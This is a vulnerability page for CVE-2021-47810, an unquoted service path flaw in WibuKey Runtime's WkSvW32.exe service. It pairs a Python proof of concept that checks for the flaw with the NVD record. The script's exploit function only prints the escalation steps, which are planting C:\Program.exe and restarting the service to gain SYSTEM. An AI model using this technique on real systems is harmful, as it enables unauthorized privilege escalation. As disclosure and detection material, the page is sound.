CVE-2021-47810

#!/usr/bin/env python3 """ CVE-2021-47810 PoC - WibuKey Runtime WkSvW32.exe Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in WibuKey Runtime. Note: This is for educational and authorized testing purposes only. """ import os import sys import subprocess import shutil def check_vulnerability(): """Check if WibuKey service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'WkSvW32'], capture_output=True, text=True ) if 'WkSvW32' in result.stdout: # Check for unquoted path with spaces if 'BINARY_PATH_NAME' in result.stdout: for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() if ':' in line else line.strip() print(f"[+] Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True else: print("[-] Service path appears to be properly quoted") return False else: print("[-] WkSvW32 service not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """ Exploitation steps (for authorized testing only): 1. Create malicious executable at C:\Program.exe 2. Wait for service restart or trigger service stop/start 3. Malicious code executes with service privileges """ malicious_path = r"C:\Program.exe" # For demonstration, create a simple reverse shell or payload # This should be replaced with actual malicious code in real attack print(f"[*] In a real attack, malicious code would be placed at: {malicious_path}") print("[*] When WkSvW32 service starts, it would execute the malicious Program.exe") print("[*] The malicious code would run with SYSTEM privileges") if __name__ == "__main__": print("=" * 60) print("CVE-2021-47810 - WibuKey Runtime Unquoted Service Path PoC") print("=" * 60) if os.name == 'nt': is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Vulnerability confirmed!") # Uncomment below line for authorized testing only: # exploit() else: print("\n[-] Target system does not appear to be vulnerable") else: print("[-] This PoC only works on Windows systems")

{"cve": {"id": "CVE-2021-47810", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:26.077", "lastModified": "2026-01-30T00:49:54.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WibuKey Runtime 6.51 contains an unquoted service path vulnerability in the WkSvW32.exe service that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted path in 'C:\\PROGRAM FILES (X86)\\WIBUKEY\\SERVER\\WkSvW32.exe' to inject malicious executables and escalate privileges."}, {"lang": "es", "value": "WibuKey Runtime 6.51 contiene una vulnerabilidad de ruta de servicio sin comillas en el servicio WkSvW32.exe que permite a atacantes locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta sin comillas en 'C:\\PROGRAM FILES (X86)\\WIBUKEY\\SERVER\\WkSvW32.exe' para inyectar ejecutables maliciosos y escalar privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wibu:wibukey:6.51:*:*:*:*:*:*:*", "matchCriteriaId": "72A82047-E02D-4AB2-8164-FE4834448DDA"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49999", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/wibukey-runtime-wksvwexe-unquoted-service-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.wibu.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wibu.com/us/support/user/downloads-user-software.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/49999", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}